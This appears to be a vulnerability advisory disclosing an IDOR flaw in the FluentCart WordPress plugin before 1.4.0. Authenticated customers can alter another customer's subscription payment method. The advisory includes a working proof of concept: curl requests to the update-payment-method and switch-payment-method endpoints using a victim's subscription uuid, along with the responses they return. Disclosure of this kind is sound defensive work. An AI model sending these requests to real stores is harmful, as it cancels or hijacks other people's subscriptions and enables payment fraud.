FluentCart < 1.4.0 – Subscriber+ Subscription Payment-Method Tampering via IDOR | CVE 2026-14926

Description

The plugin does not verify that a subscription belongs to the requesting customer in several of its payment-method endpoints, allowing any authenticated customer to act on another customer's subscription (changing its payment method, or cancelling and re-binding it) when they know the target subscription identifier.

Proof of Concept

Prerequisites: Two FluentCart customer accounts - Alice (victim, with an active subscription) and Mallory (attacker). Mallory is logged in and has her own wp_rest nonce. Mallory knows Alice's subscription uuid (shown to the owner in the /customer-profile/subscription/<uuid> portal URL and in reactivation-email links).

Let U = Alice's subscription uuid, B = /wp-json/fluent-cart/v2/customer-profile/subscriptions

1) Control (ownership IS enforced on the guarded sibling method):
   curl -b mallory_cookies -H "X-WP-Nonce: $N" "$B/$U"
   -> HTTP 422 {"message":"Subscription not found"}

2) Unguarded update-payment-method:
   curl -b mallory_cookies -X POST -H "Content-Type: application/json" -H "X-WP-Nonce: $N" \
     -d '{"data":{"method":"stripe","payment_method":"pm_x"}}' \
     "$B/$U/update-payment-method"
   -> HTTP 422 {"message":"Could not update payment method"}  (NOT "Subscription not found": Alice's subscription was resolved and execution reached the gateway)

3) Unguarded switch-payment-method:
   curl -b mallory_cookies -X POST -H "Content-Type: application/json" -H "X-WP-Nonce: $N" \
     -d '{"data":{"newPaymentMethod":"stripe","currentPaymentMethod":"stripe"}}' \
     "$B/$U/switch-payment-method"
   -> The Stripe API call is invoked against Alice's subscription. On a store with Stripe configured this cancels Alice's original subscription and rewrites her subscription record (payment method rebound to the attacker's data).

The decisive signal is the differential: the guarded GET returns "Subscription not found" for Mallory->Alice, while the unguarded POSTs resolve Alice's subscription and proceed to the gateway. The same per-customer ownership scope is present on the six sibling methods and absent on these four.